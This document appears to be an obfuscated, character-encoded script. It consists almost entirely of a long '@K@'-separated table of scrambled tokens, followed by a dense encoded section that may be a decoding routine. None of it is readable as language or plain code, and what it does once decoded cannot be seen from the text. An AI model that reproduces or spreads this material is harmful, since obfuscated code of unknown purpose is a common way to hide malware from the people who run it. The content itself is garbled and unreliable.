+@K@YZ8,B/;@8=Z=@K@)J/Y,/@K@YZ8,B/;@8=Z=@NKO@=Z/@K@8=B=Z8)@K@=Z/@K@=&=Z@K@;;*\W$ 4 W=K;;@K@,YB6@K@;;K<9B9BVPL#@K@<K;;@K@;;K<9B9BPLG#@K@\$ 4 <;;K<D( ^,&/YZ^Y+Y4/^@K@<K;;<;;K<99#@K@Y++B+6B+8@K@=Z ,=@K@9B9BVPL@K@=Z ,=@K@D( ^,&/YZ^Y+Y4/^@K@ /)B6+ZY4@K@;;99#W%WDW%WDW%E;;@K@,Y@K@ /)B/ +Y/@K@;;W$W;;WK<9B9BVPL#A+^J^
"^RDBNK#@K@E<WKW;;DK$W;;WK<9B9BPLG#W?<WKW;;W$;;=@K@,Y@K@,Y@K@/8=BY+ @K@,Y@K@;;K<D( ^,&/YZ^Y+Y4/^@K@,Y@K@8/B)/ZBY,Z/Z=@K@ /)B6+ZY4@K@;;*9G?#W%WDW%WDW%E#;;@K@=YB,YB+ZB,@K@+ZBY, Z@K@9G?#@K@6I@K@,@K@,Y@K@Z,@K@=46, B, /@K@YZ8,B/;@8=Z=@K@Z,@K@VUQ@K@=Z/@K@4+=4@K@=4+HI@K@9?#@K@=46, B=8J/@K@=46, B/+@K@8=B=Z8)@K@=46, BY,=/@NKO@=46, B(8Z/@K@=ZB +@K@=46, BY,=/@K@=46, @K@/8B+8@K@=46, B//Z/@K@;;\W$ 4 ;;8@K@=&=Z@K@8=B=Z8)@K@;;*W=K/Y+/W=KWDK$WEW=KX+6/= +Y/W=%A*XCN%W=KXE;;8=@K@=&=Z@K@YZ8,B/;@8=Z=@K@=YB/8=B@K@/;@ ,/@K@Z86/@K@Z86/@K@=YB/8=B@K@, 8@K@Z)B,B(+<@K@YZ8,B/;@8=Z=@K@8Z+@K@( &@K@9BG0B@K@+BZ @K@=YB+=ZB/ZY4BZ=@K@+@K@+BZ B68==8)@K@8/B)/ZBY,Z/Z=@K@8=B=Z8)@K@+B6@K@;;K<9BGBVPL#@K@<K;;@K@;;K<9BGBPLG#@K@<K;;@K@;;W;;WK<9BGBVPL#A+^J^
"^RDBNK#@K@E<WKW;;DK$W;;WK<9BGBPLG#W?<WKW;;;;=@K@9BGB0GPG@K@=Z ,=@K@ /)B/ +Y/@K@;;A<WZNK8W=KWW=K/8/W=KWW=KA[SN9BGB0GPGA[SNW=KWEW=KWEW=K/ZW=KXA*WWNK;;@K@ Y/B+8@K@ /)B/ +Y/@K@+@K@+@K@VUQ@K@YZ8,B/;@8=Z=@K@Y8@K@=YB)+@K@8=B(8Z+&/@K@( ^8Y/=@NKO@;;D)B@K@;;D);@B@K@Z86/@K@;;D)B@K@( ^8Y/=;;@K@( ^8Y/=@K@8=B8/@K@8=B8/@K@8/6Z86/@K@8=B8/@K@8=B8/@K@;;D)B@K@8/B)/ZBY,Z/Z=@K@ /)B6+ZY4@K@;;*W%WDW%WDW%3;;@K@;;D)=B@K@8/B)/ZBY,Z/Z=@K@/;@ ,/@K@)+@K@/+ B== /YZ/@K@,B=Z+Z=@K@8=B(8Z+&/@K@;; )8=;;@K@D 4 @K@ +=/B@K@QQUBQ@K@;; )8=@K@&+=/!B/Y,/@K@&+=/!B/Y,/@K@)+BZ B68==8)@K@)+@K@)+BZ B8+8@K@;;D)6B@K@=YB)+@K@8=B=Z8)@K@=&=ZBY,Z@K@=&=ZBY,Z@K@=Z/@K@=&=Z@K@8=B++@K@Y4@K@8=B//B= +Y/@K@]UB9LQPLQBGF@K@VUQ@K@YZ8,B/;@8=Z=@K@=YB +B,BZ=@K@=YB +B,BZ=@K@6ZB+@K@$'@K@YZ8,B/;@8=Z=@NKO@+,6B&Z/=@K@&8H4/;@@K@=Z/@K@6I@K@K;;@K@8=B=Z8)@K@;;W$WW;;WKA"^R+^NC?"""- WKW;;E%3;;@K@YZ8,B/;@8=Z=@K@YZ8,B/;@8=Z=@K@=YB,(B6@K@=YB,(B6+8/=Z@K@8=B++@K@=YB,(B6@K@=Z/@K@6I@K@Z86/@K@8=B++@K@,@K@=YB,(B6@K@=YB,(B6@K@=YB,(B6@K@6,88/@K@8/B)/ZBY,Z/Z=@K@=Z/@K@6I@K@8/=8J/@K@8/B)/ZBY,Z/Z=@K@=Z/@K@/)+Y@K@=Z/@K@;;,(B@K@,(@K@=YB,(B/Y@K@=&=Z@K@8=B++@K@/@K@/@K@,@K@=Z+Z/@K@&,,ZBZ=@K@)/@K@ +Z4@K@=Z+ZBZ=@K@&,,ZBZ=@K@FP1PQBQP@K@YZ8,B/;@8=Z=@K@=YB,(B/Y@K@8/B ZBY,Z/Z=@K@\$ 4 @K@ +Z4@NKO@8=B=Z8)@K@8/=8J/@K@/+@K@&,,ZBZ=@K@&,,ZBZ=@K@,@K@,(@K@8=B8/@K@8/B)/ZBY,Z/Z=@K@ /)B6+ZY4@K@;;W;;WKA"^R+^NC?"""- WKW;;EW=K3;;@K@&+=/+6/@K@8=B8/@K@Z86@K@8/B)/ZBY,Z/Z=@K@YZ8,B/;@8=Z=@K@)/ZB, Z8,@K@YZ8,B/;@8=Z=@K@ +Z/B, Z8,@K@=YB///B/@K@++B=8Y/@K@=YB///B/@K@)/ZB, Z8,@K@YZ8,B/;@8=Z=@K@=YB///B/@K@8=B8/@K@, Y+Y4/B8+8+Z/@K@8=B8/@K@8/@K@/+ +Z4@K@/+ +Z4@K@VUQ@K@8/B)/ZBY,Z/Z=@K@8=B8/@K@D)@K@8/B)/ZBY,Z/Z=@K@Y, @K@ /)B6+ZY4B+@K@;;&+=/!B/Y,/WW=KSA^
+^J"^R%W;;NC?"""- ESW=KWE;;@K@ /)B6+ZY4B+@K@;;$#)J/Y,/)J8+Z/)JY,6 /==EWW=K[$#A*[WWNK$#WWDA*[WWNKEKEE[;;=@K@W;@@K@;;WW;@A"^R+^^NCH E;;@K@8;@B4(/I(??B77,"4@K@;;$#)J/Y,/)J8+Z/)JY,6 /==EWW=KS$#A*SWWNK$#WWDA*SWWNKEKEES;;=@K@WW@K@WS@K@8=B=Z8)@K@)J@K@8;@B4(/I(??B77,"4@NKO@WW@K@=Z ,=@K@8;@B4(/I(??B77,"4@K@8=B=Z8)@K@ /)B6+ZY4@K@;;W;;WK<9#W%WDW%WDW%E<WKW;;;;@K@=Z/@K@<K;;@K@=&=Z@K@=&=Z@K@;;*A+^J^
"^RDB#N%3;;@K@;;K<@K@BPLG#@K@<K;;@K@=Z ,=@K@=&=Z@K@=Z/@K@VUQ@K@Z4B6@K@;;W;;WK<9BQBVPL#A+^J^
"^RDBNK#@K@<WKW;;;;@K@8=B=Z8)@K@9BQ@K@,&;@ ")=I)7I;@@K@9BGG@K@;@7!48/6/@K@;;W;;W;;9BQB0GBA+^"^RBN%W$WA*WNK3;;@K@8=B=Z8)@K@JZ8 =HB88@K@9BGG@K@;;W;;W;;9BQB0GBA+^"^RBN%W$WA*WNK3;;@K@VUQ@K@ /)B6+ZY4B+@K@;;W;;WK<9BQBVPL#A+^J^
"^RDB#N%E<WKW;;;;@K@=&=Z@K@6I@K@@K@ /)B6+ZY4B+@K@;;W;;WK<9BGGBVPL#A+^J^
"^RDB#N%E<WKW;;;;@K@=YBY@K@)/ZB, Z8,@K@=YBY++@K@8=B++@K@8Z/6=@K@8=B++@K@4+=4B/+=@K@/)8=Z/B=4Z,(BYZ8,@K@^^'@K@YZ8,B/;@8=Z=@K@=YB&B6,/@NKO@=Z ,=@K@&8@K@8=B++@K@Z=@K@Z=@K@Z8/=@K@Z=@K@8Z/6=@K@Y++@K@&+B(8Z/B+8@K@;;Z4&B@K@D&+@K@8Z/6=@K@Z=@K@Z=@K@8Z/6=@K@Y4?!JB8Z,J6,Y6@K@( B/6,Z/B)/Z@K@9+Y4/^9,Z,@K@,^=Z,/-<,^Y+Y4/@K@U+)6+@K@( B/6,Z/B/Z8//B/= ,=/BY,/@K@( B/6,Z/B/Z8//B&,@K@, Y+Y4/B8+8+Z/@K@YZ8,B/;@8=Z=@K@=YBY++@K@8Z/= //B88=4B//=Z@K@YZ8,B/;@8=Z=@K@8),/B=/B+&,Z@K@YZ8,B/;@8=Z=@K@8=B++@K@/88/B// <@K@$=YBY@K@+(/Y,/@K@:B@K@8Z/6=@K@,&+YBI""<@K@&+=/+6/@K@=Z ,=@K@\5^^9#@K@=YBY@K@,&+YB,)8I""<@K@&+=/+6/@K@8Z/6=@K@^^'@K@8Z/6=@K@8Z/6=@K@Z8/=@K@&8@K@&B&8@NKO@8Z/6=@K@=YB&B6,/@K@8=B=Z8)@K@,@K@,@K@8Z/6=@K@B=YB+6@K@9BQBVPL@K@=Z ,=@K@D=B@K@9#@K@;;9B$#GVG9EBVPL#W%WDW%WDW%E;;@K@=(// @K@/Z+8J/B,/8)B=8 <@K@8/B ZBY,Z/Z=@K@YZ8,B/;@8=Z=@K@8/B)/ZBY,Z/Z=@K@=Z/@K@;;A<WZNKW;;WK<9BGVG9EBVPL#A+^J^
"^RDB#N%E<WKW;;DK$W;;WK<9BW?BPLG#WH<WKW;;A<WZNKW$W$;;=@K@8=B=Z8)@K@=Y@K@/+6/@K@8=B=Z8)@K@ /)B6+ZY4@K@;;8=B8/WW=KSA*SN%ESW=KWE;;@K@8=B8/@K@=ZB/ +Y/@K@Z86@K@]UB9LQPLQBGF@K@;;W@K@=Z ,=@K@&+=/+6/@K@=(// @K@&B,/8)B=8 <@K@8=B++@K@6,Y/^@K@( ^Y,8)D 4 @K@8+6/@K@8=B8/@K@8=B8/@K@8=B(8Z+&/@K@8/B)/ZBY,Z/Z=@K@]UB9,/BZ/)8Z@K@;;Z6 ;; 4 @K@=Z ,=@K@]UBQPUBGF@K@=YBZ6 B8;@/@K@YZ8,B/;@8=Z=@K@;;/8/W=KWW=KAS[N]UB99PAS[N;;@K@]UB9LQPLQBGF@NKO@;;++Y/^Y+Y4/D 4 @K@8/B)/ZBY,Z/Z=@K@=Z ,=@K@9BGBVPL#@K@=Z ,=@K@;;/8/W=KWW=KAS[NVUQAS[NA*WNKW/8/W<S]UB99PS-<Z/<WEXW;;@K@ /)B6+ZY4@K@;;/8/W=KWW=KAS[N]UBGPVAS[NW=K-W=KZ/W=KWE;;8@K@;;/8/W=KWW=KAS[N]UBGPVB0AS[NW=K-W=KZ/W=KWE;;8@K@;;/8/W=KWW=KAS[N]UBGPVBGU0OAS[NW=K-W=K+=/W=KWE;;8@K@ /)B6+ZY4B+@K@;;A<WZNKW;;WK<]UB9,/BZ/)8Z<A+^"^RN%E<WKW;;DK$W;;WK<P^]UB9,/BZ/)8Z<W?<WKW;;A<WZNKW$W$;;=@K@;;A<WZNKW;;WK<]UB9,/BZ/)8Z<A+^"^RN%E<WKW;;DK$W;;WK<P^]UB9,/BZ/)8Z<W?<WKW;;A<WZNKW$W$;;=@K@;;*A<WZNK8W=KWW=K5$W=K8/B/;@8=Z=WW=KSW;;Z6 W;; 4 A^
+^J"^RN%SA*WNKWA<WZNK8W=KWW=KW3B,::A*WNKWE$;;6@K@86 ,/@K@ /)B/ +Y/@K@;;*A<WZNK8W=KWW=K5$W=K8/B/;@8=Z=WW=KSW;;Z6 W;; 4 A^
+^J"^RN%SA*WNKWA<WZNK8W=KWW=KW3B,::A*WNKWE$;;6@K@8=B=Z8)@K@;;/8/W=KWW=KAS[NVUQAS[NA*WNKW;;@K@;;/8/W=KWW=KAS[NVUQAS[NA*WNKWE;;@K@3?@K@ /)B6+ZY4@K@;;/8/W=KWW=KAS[NVUQAS[NA*WNKWE;;@K@8=B=Z8)@K@;;/8/W=KWW=KAS[NVUQAS[NA*WNKWE/8/W<S]UB99PS-<Z/<WEXW;;@K@8=B=Z8)@K@ /)B/ +Y/@K@;;*A<WZNK/8/W=KWW=KAS[N]UBGPVB0BGU0OE$AS[NW=K-A*WNKW;;86@K@8=B=Z8)@K@8=B=Z8)@K@( Y@K@ /)B/ +Y/@K@;;/8/W=KWW=KAS[NVUQAS[NA*WNKWE/8/W<S]UB99PS-<Z/<WEX<W;;WK<9B]9<WKW;;W;;@K@3?@K@Z/6 +6@K@=Y(@K@/+6/@K@;;SW;;Z6 W;; 4 A^
+^J"^RN%ES;;@K@=Z ,=@K@;;Z6 ;; 4 @K@;;, Z8,B+6/W=KW=KSA*SN%ES;;@K@;;*B=8Z/BZ+=8/ZB4/+Z4//EBA+^"^RN%3;;@K@]UBU0LBGF@K@),&@K@;;KD 4 @K@=&=Z@K@Y,/@K@D 4 @K@8=B=Z8)@K@,/8)B=8 <@NKO@&+=/+6/@K@D,@K@YZ8,B/;@8=Z=@K@8+6/@K@8+6/@K@&+=/+6/@K@),&@K@;;K;;YZ8,=D 4 @K@8/=8J/@K@8=B=Z8)@K@9BGGBVPL@K@9BQB0GB@K@8=B=Z8)@K@;;++Y/^Y+Y4/D 4 @K@//Z/B, Z8,@K@YZ8,B/;@8=Z=@K@&R(H,;@ ))6 6;@?I,@K@8=B=Z8)@K@8=B=Z8)@K@+H8R8)7,H(&@K@YZ8,B/;@8=Z=@K@Y,,!6"/T "I@K@74+8/BHJ(R),)8(/@K@=Y@K@=YB&,,ZBZ@K@&,,Z@K@/)+YBZ+/,/@K@=YB /=8=Z/@K@)/ZB, Z8,@K@Z=@K@8Z/6=@K@8=B++@K@/)8=Z/B=4Z,(BYZ8,@K@Y4?!JB8Z,J6,Y6@K@8=B8/@K@4Z@K@D 4 @K@8/#@K@8/#@K@88B)/Z@K@=/B88D8/+6/@K@D 4 @K@;;W@K@8/#@K@8/#@K@D( ^,&/YZ^Y+Y4/^@K@=YB /=8=ZB6+8/=Z@K@=Z+Z@K@=8J/@K@6Z86/@NKO@;;WW%E3;;@K@=&=Z@K@=Z/@K@=&=Z@K@=Z/@K@8=B8/@K@+YZ8/B )8=@K@=YBY4+8@K@;;&D 4 @K@;;YZ8,=D 4 @K@@K@Z86/@K@=&=Z@K@"@K@Z86/@K@=YB /=8=ZB6+8/=Z@K@,@K@ /=8=Z@K@=8J/@K@=8J/@K@&8)#@K@YZ8,B/;@8=Z=@K@D 4 @K@@K@D 4 @K@;;&D 4 @K@9BGV@K@BPLG#W?<WKW;;;;=@K@8/B)/ZBY,Z/Z=@K@ /)B6+ZY4@K@;;99#W%WDW%WDW%;;@K@=&=Z@K@;;W$W;;WK<9B9BVPL#A+^J^
"^RDB#N%E<WKW;;DK$W;;WK<9B9BPLG#W?<WKW;;W$;;=@K@]UB9LQPLQBGF@K@D)@K@;; ,+=;;K;;K;;@K@;;Z4/6/=;;K;;@K@),&@K@),&@K@KD 4 @K@KD 4 @K@8+@K@YZ8,B/;@8=Z=@K@),&@K@D)=B@K@D)B@K@D) B@K@D)ZB@K@D)6B@K@D)B@NKO@D)=B@K@D)B@K@;;D)BKD 4 @K@8=B8/@K@=Z ,=@K@ /)B/ +Y/@K@ /)B/ +Y/@K@ /)B,Z/@K@A*WNKW$;;8@K@( ^Y,8)D 4 @K@;;( ^Y,8)D 4 @K@8=B(8Z+&/@K@8/B)/ZBY,Z/Z=@K@;;A<WZNK/8/W=KWW=KAS[N]UB99PAS[NW=K-W=KZ/W=KWEW=KXW=KW;;WK<9B]9<WKW;;A<WZNKW$W$;;@K@Z,Y4@K@D=/D88@K@8/B)/ZBY,Z/Z=@K@;;+Z,B / /B8/W=KDK@K@ /)B,Z/@K@DKW;;8@K@8=B=Z8)@K@++B8@K@\$ 4 <@K@8=B8/@K@9BQ@K@JZ8 =HB88@K@9BGG@K@YZ8,B/;@8=Z=@K@=46, B, /@K@YZ8,B/;@8=Z=@K@=YBY++@K@8Z/6=@K@8=B++@K@=YB4ZB+8@K@=YB88B/+@K@//Z/BZ+=8/Z@K@YZ8,B/;@8=Z=@K@;@R!=;@YT6B (HIYT@K@=YBY,B)+@K@8+8+Z/@K@D 4 @K@8/B)/ZBY,Z/Z=@K@&B6@K@;;K<9BGVBVPL#@K@<K;;@K@;;K<9BGVBPLG#@K@&B6@K@;;W;;WK<9BGVBVPL#A+^J^
"^RDBNK#@K@E<WKW;;DK$W;;WK<9BGVBPLG#W?<WKW;;;;=@K@=Z ,=@NKO@9BGVB0GPG@K@;;A<WZNK8W=KWW=K/8/W=KWW=KA[SN9BGVB0GPGA[SNW=KWEW=KWEW=K/ZW=KXA*WWNK;;@K@8=B=Z8)@K@9BGV0B@K@&@K@&BZ B68==8)@K@/8=BY+ @K@Y++B+6B+8@K@)/ZB, Z8,@K@]UB9LQPLQBGF@K@;;Z4/6/=;;@K@;;YZ8,=D 4 @K@YZ8,B/;@8=Z=@K@)/ZB, Z8,@K@;;Z4B@K@D&+@K@8=B8/@K@+8=4B/=Z,/@K@=YBZ4B/+@K@,@K@VUQ@K@;;K<9BQBVPL#@K@;;K<9BQBPLG#@K@9BQ0B@K@=&=Z@K@6I@K@&+=/+6/@K@Z4/6/BZ B68==8)@K@ /)B/ +Y/@K@, /@K@Z4/6/@K@YZ8,B/;@8=Z=@K@,Y@K@=Z/@K@=Z ,=@K@8=B(8Z+&/@K@9BQ@K@8884HH,ZH;@"@K@ Y/B+8@K@=Z ,=@K@9BQBVPL@K@=Z ,=@K@, 4+@K@8=B=Z8)@K@8/B)/ZBY,Z/Z=@K@\$@K@Z86@K@$'@K@Z4/6/@K@=Z/@NKO@=YB/6 Z@K@Y+==B/;@8=Z=@K@
8 Y48/@K@;; ,+=;;@K@+Z/@K@O;;6;;@K@
8 Y48/@K@
8 Y48/@K@YZ8,B/;@8=Z=@K@( B=Y4//B//Z@K@YZ8,B/;@8=Z=@K@( B/;@ZB=Y4//@K@4,@K@Y,B=/Z @K@I/HR" /==6)@K@Z86/@K@;;D);@B@K@8/6Z86/@K@Z86/@K@8=B8/@K@8/=8J/@K@;;D)6B@K@6IB8/@K@Y,B)+@K@&+=/+6/@K@8/B)/ZBY,Z/Z=@K@&(B)===8)4),@K@YZ8,B/;@8=Z=@K@8=B8/@K@ /)B6+ZY4@K@)/ZB, Z8,@K@YZ8,B/;@8=Z=@K@+YZ8/B )8=@K@6I@K@Y,B/Y@K@8=B8/@K@8/=8J/@K@QQU;;?D?<!"!<L,Z<,@K@=(@K@YZ8,B/;@8=Z=@K@=YB=(B/ B48Z=@K@=YB=(B/ B48Z=@K@=YB=(B/ B+=Z@K@Z86/@K@;;*W=K$#WW;;WKW;;W;;+</Z<Y,=Z<YZ8,<=/WDE;;@K@;;*A^
+^J"^R%W;;WWN%3;;@K@&+=/!B/Y,/@K@,&B)/ZB//@K@9,Z/Z^Q /#<+  8Y+Z8,;;++=Y8 Z@K@/8Y/^],/^,(/#<;;@NKO@QQU;;?D?<H"!<L,<9,Z/Z@K@QQUBBLLPBQ9@K@Z86@K@QQUBBLLPBQ9@K@QQU;;?D?<T"!<L,Z<,88/@K@PQ+)#<@K@9+Y4/^9,Z,#<,^Y+Y4/@K@=(B/ @K@=YB/8@K@=ZZ,,(/@K@YZ8,B/;@8=Z=@K@4,6/B@K@ +=/B@K@YZ8,B/;@8=Z=@K@)/ZB, Z8,@K@8=B=Z8)@K@;;#W%3;;@K@/8@K@=YB=/6+Z8YB ,&/@K@9,Z/Z^Q /#<Z/;@Z;; +8@K@9+Y4/^9,Z,#<,^=Z,/@K@9BP#@K@9BPB0@K@/8B/ @K@/8B/ @K@,Y/ZBY/+B,6+8@K@YZ8,B/;@8=Z=@K@(TZYB=4B+@K@YZ8,B/;@8=Z=@K@=)BY+Y4/ /==B )/BY+Y4/@K@8Z/= //B )/B+@K@08Z/ //B9+Y4/BU@K@ )/B+@K@V//J/BU)/9+Y4/@K@6/Z4,B/;@8=Z=@K@&//J/BY+Y4/B=4@K@9+Y4/BP+&/@K@Y/+BZ,Z+BY+Y4/@K@( YBY/+B+BY+Y4/@K@( B+=Z/=ZBY+Y4/@K@8=B,&/YZ@K@( B+=Z/=ZBY+Y4/@K@6/Z4,B/;@8=Z=@K@( B+=Z/=ZBY+Y4/@K@//Z/9+Y4/@K@( BY+Y4/BY/+BY+Y4/@K@+Z, Z868J/9+Y4/@K@Y/++@K@ )/B,B=BY4+)/@K@YZ8,B/;@8=Z=@NKO@8=B+68@K@( B,8)B++;@@K@FPQBFP1PQ@K@	0FU9BFP1PQ@K@YZ8,B/;@8=Z=@K@8=B//@K@8=B,&,Z=@K@8=B=8Z/6+ =@K@YZ8,B/;@8=Z=@K@8=BY=Z,68J/B /8/(@K@//6/Z,^ /8/(@K@Y=Z,68J/BY4+)/=/ZB8@K@B&8/@K@8=B=Z8)@K@\;;=Y8 Z@K@\W;;=Y8 Z@K@=ZZ,,(/@K@=&=Z@K@YZ8,B/;@8=Z=@K@=YB=B 8ZB,Z/@K@=YB=B 8Z/BZ=@K@Z86/@K@8=B=Z8)@K@=YB=B 8Z/@K@\;;&,'@K@\4Z6@K@=YB=B 8Z/@K@\;;&,'@K@=&=Z@K@=YB=B,&@K@=YB=B,&@K@,&B=Z+Z@K@6,7Y 74TJJ?"H@K@=B,&@K@ +)/,(@K@ +)/,(@K@=@K@=YB=(B4+@K@=YB=(B+=ZB@K@\=Y8 Z<+Z+^=Y^@K@+<YZ8,4EC+<[[-8X,8"X8\4D/)Z4X8%HE%Z8)D,694+9,/ +=/Z4D=&=Z8-HE-?EEX/Z< -@K@=(+8)+Z,A[@K@=/8Y/],/@K@[EN-@K@@K@8=(E=(A[@K@)/ZF/)8=Z+Z8,=@K@[ENEDZ4/YZ8,=EC=D,P+Y4YZ8,EC+<65X@K@856EA[@K@+YZ8/@NKO@[E-[@K@(+8Z8)@K@[E-[@K@8=Z+8)@K@[END,P+Y4YZ8,EC8AN::ANA[@K@=Y8 ZF0@K@[ENE6? EX@K@86EA[@K@/)8=Z/@K@[ENE E EA[@K@Y+ZY4@K@[ENYZ8,EC E@K@\;;=Y8 Z'@K@4ZZ =#;;;;@K@4ZZ =#;;;;@K@,@K@\=Y8 Z<+Z+^=Y^@K@+<YZ8,4EC+<[[-8X,8"X8\4D/)Z4X8%HE%Z8)D,694+9,/ +=/Z4D=&=Z8-HE-?EEX/Z< -@K@=/8Y/],/@K@[ENX@K@8=(EC@K@=(A[@K@)/ZF/)8=Z+Z8,@K@[EN@K@DZ4/YZ8,EC85E=(A[@K@/)8=Z/@K@[EN@K@-C=Y, /#@K@ EA[@K@[ENYZ8,EC E E@K@A[@K@Y+ZY4@K@[ENYZ8,EC EX@K@=(A[@K@+P/Z08=Z//@K@[EN[@K@[E-YZ8,/EC@K@+</A[@K@+Z+@K@8::DYECZC/(<YZ8,+Z,&DYEEE Y+ZY4;@EC   EX@K@=(A[@K@/+@K@[ENDZ4/YZ8,EC@K@A[@K@[ENA[@K@ ,=Z/==+)/@K@[ENCZ#[[ E E @K@=(B/)@K@ /)B6+ZY4@K@;;W;;WK<9#W%WDW%WDW%E<WKW;;;;@NKO@8=B++@K@D 4 @K@D 4 @K@D 4 @K@8/B)/ZBY,Z/Z=@K@=Z ,=@K@;;W;;WK<9#W%WDW%WDW%E<WKW;;;;@K@&+=/+6/@K@, Y+Y4/B8+8+Z/@K@,/8)B=8 <@K@&+=/+6/@K@;;D=B@K@&+=/+6/@K@8@K@8+6/@K@D 4 @K@YZ8,B/;@8=Z=@K@6^ )8=@K@YZ8,B/;@8=Z=@K@&+=/+6/@K@)/ZB=8Z/B, Z8,@K@8+6/@K@;;D&+B@K@/;@ ,/@K@8@K@8/=8J/@K@ +Z4@K@/+ +Z4@K@ +Z4@K@/+ +Z4@K@YZ8,B/;@8=Z=@K@=&=Z@K@D 4 @K@6I@K@9B9FPBVQQFUUPG@K@;;*W%WDW%WDW%3;;@K@'@K@=YB&,,ZB/@K@YZ8,B/;@8=Z=@K@Y/+=Z+ZY+Y4/@K@8/6Z86/@K@9B9FPBVQQFUUPG@K@9B9FPBVQBPF@K@YZ8,B/;@8=Z=@K@/JB4&=R8Y !H)R=@K@=467ZZ?&@K@=ZZ,,(/@K@ +Z48,@K@8/=8J/@K@=4Z,(@NKO@J;@I7T!IR +@K@=YB8/YZB/=@K@J"),/+R+Y8JZ@K@&&B"6R;@Z!Y;@ ==@K@D 4 @K@Z86@K@Z,Y4@K@;;D&ZB@K@&+=/+6/@K@D,YB@K@?&YZT4B/! BB@K@&)R)HR)@K@,+^ )8=D 4 @K@+68B88Z@K@?&YZT4B/! BB@K@+,),46+IHJ&YY@K@+68B88Z@K@)+7=(,BT@K@+68B88Z@K@B77ZJ)+JB88@K@,( 47H=@K@( 6B/8/BY,/YZ,B, Z=@K@Z7!!;@Z7T@K@( B8/B6++)/BY,/YZ,B, Z=@K@Z7!!;@Z7T@K@/8/BY,/YZ,B, Z=@K@8/B6++)/BY,/YZ,B, Z=@K@+Z4/Z8Y+Z/@K@!446? ,6J8@K@( B,)8@K@JB((,4!@K@ /B=/B/@K@=Y4+/Z"Y6,&B6H+T@K@/=ZB=/B/@K@4+YY== Y(),/"@K@8/(=B=/=@K@;@;@8?""TI)++),!7J@K@/&)B8,6+Z8,@K@;@4&!78+)?(/)4, B?;@@K@=4,(B++Y/B )8=@K@/RH+=J @K@+68B4/+^ )8=D 4 @K@=8Z/BZ+=8/ZB +Z/B )8=@K@6J/6)JBB +@K@+B )8=@K@( B++;@B6B8/B,/B6++)/@K@&?I)?!TZJ,J)/@K@( B++;@BY,/YZ,@K@( B++;@B=BY,/YZ,@K@&?I)?!TZJ,J)/@NKO@( B,,Z/@K@,4R=6+6"76Y T6(4=@K@Z/6 +Z/B/8/YZ@K@RR/=/?,Z)HYI@K@+68B,,Z/@K@Z)!4"?8!JB&+&/=/J@K@,)8B,,Z/@K@Z)!4"?8!JB&+&/=/J@K@ )8=B,+/@K@(Y4Z;@&"&Z;@)T 4Z@K@ )8=B,+/@K@+, =4((J4)J@K@ )8=B,+/@K@H=+H,"? B?/@K@,&6(6Z &=YH7)@K@ =;@6=&= )(/,?,@K@ )8=B,+/@K@,R4H!";@B @K@Y;@((H+)Y7/)@K@8"6R84(,Y8B@K@6;@BJ="B,)@K@J+H /JZ;@6@K@&6)I"BJT!B!YT@K@/)8=Z/B=4Z,(BYZ8,@K@YZ8,B/;@8=Z=@K@)/ZB, Z8,@K@&6)I"BJT!B!YT@K@ )8=B,+/@K@;@,IB +(/T@K@Y&Y""8R;@!)64@K@" "4"=67 +R@K@YZ8,B/;@8=Z=@K@=YB+=ZB/Y,/BY4/Y@K@=YB+=ZB/Y,/BY4/Y@K@=YBY,B/ZY4@K@8+T!6(=@K@Y,B=Y4//=@K@;@ ;@,&??+,@K@YZ8,B/;@8=Z=@NN\	GC<C:\		G8Q TOCNCZ	WVUOCN\CZ@&%47@I@3/@I@8@I@S@I@IT@I@U@I@@I@ 	@I@@I@
0+@I@2 .)@I@#5*H@I@J@I@$(@I@";;Z@I@MG@I@1]O@I@LN!@I@6,;@K@I@W@I@[X@I@Y@I@^P@I@RV_@I@Q?>@I@=\@I@E<@I@:AF@I@9@I@CD-B@I@'@\CZ@V@I@UQ@I@=YB@I@/@I@,!@I@DTH@I@ )@I@8&@I@+6]@I@0@I@LG@I@F;;^@I@4@I@Z9@I@P(W@I@;@@I@K<@I@#%E@I@1@I@S-@I@"\@I@$J'R@I@I@I@?7@I@	O
@I@X@I@C[A@I@ N@I@:5@I@*@I@32@I@M.@I@_>@\CZEE\OCZW\C[	OCN\CLLNCZOCKC<C:N\CIZOCZZZNXC<C:]C<C:\	GC\		G	QU 
OCNCZCLW\	G8Q TOCN\		GWW RUOCNCZCLW\	G8Q TOCN\		G^8UVUVOCNCZC\	G8Q TOCN\mm		GTQPW8Q
OCNC
	UV
WZOCMQNLST\	GC
	UV
WBQ\mmmmGGGmG	O8Q TOWNNGGGGG\mGGGGmGGG		G^8
U_U
ONmGGGGmGGG	GGGGOC +(%&+4<WW RUOVN:NGGXGC +(%&+4<WW RUOVN:GG]GGG^8UVUVOUN\mGGGmGGGG		GG^RRONmmG	G88!.+"88\mGGmGGG		GGGGG
_QVONmmmmGGG	GG^8UVUVOTNO^RRONN\mmGGGGG		GGV8QU_8ONmGGGGGGmGGGGGGO	QU 
OSNOWW RUORNNNGGG	GGGG 	8	
O^RRONN\mC	S^RWGGGGZGG^RRON\mGC^8PQTGGGGGZGG	OWW RUOQNNGGGGGGXGGG0787+2 .)8#.5G]GEE\mGGGGGGOC^8PQTGFZZGGGEEGGAAGGGGGG	QU 
OPNOC	S^RWKGGGC^8PQTNGGGGZZZGGGWNGGGG	GG^8UVUVO_NOWW RUO^NOC	S^RWKG8Q TOVWNOC^8PQTNNKGG@H@N\mGGG	GWW RUOTNO^8UVUVOVVNOC	S^RWNNGGGIG@H@GGGGIGGG	QU 
OVUNOC	S^RWN\mmGGG		GG8^SU ^ONmmmmGG	GGG^8UVUVOVTNO	O8Q TOVSNNGGXGG07*287+2 .)8#.5GG]GO078$()3")38#.5GGIGGG	QU 
OVRNNKG@H@N\mGm		GRU
V	ONmGGGGmG	GGG	QU 
OVVNO^RRONN\mGGGGGGGGm		GGGGGPTV8
OCS^WRKGGGCUUTVVGGGGZGGGOS^VLUNKGC	WTVT ^GGGZGGNmGGmGGGG	GGWW RUOSNO8Q TOVQNNGGXGGGG'	QU 
OVQNOCS^WRKGCUUTVVKGGGGGC	WTVT ^NGGG]GG\CQUUZ7/78*&-(581"54.()\CQS8RZCQUUMQ\mGmmmG		GGGGG



T_WOC
8SP_KGGGCUUTVVNmmmmmG	GGWW RUOSNO8Q TOVPNNGGGGXGGG'^8UVUVOVPNOC
8SP_KGGGCUUTVVNGGG]GG\mGmG		GGGU	U8OC
8SP_NmGGmmmGGG	GWW RUOSNO	QU 
OV_NNGGXGG'8Q TOV_NOC
8SP_NGG]G\CT
	Q^^Z_^^\C^8W^^ZOCT
	Q^^YWNXCT
	Q^^]JCT
	Q^^\mmmm		GQ	WTT UOC
8SP_KGGGGC
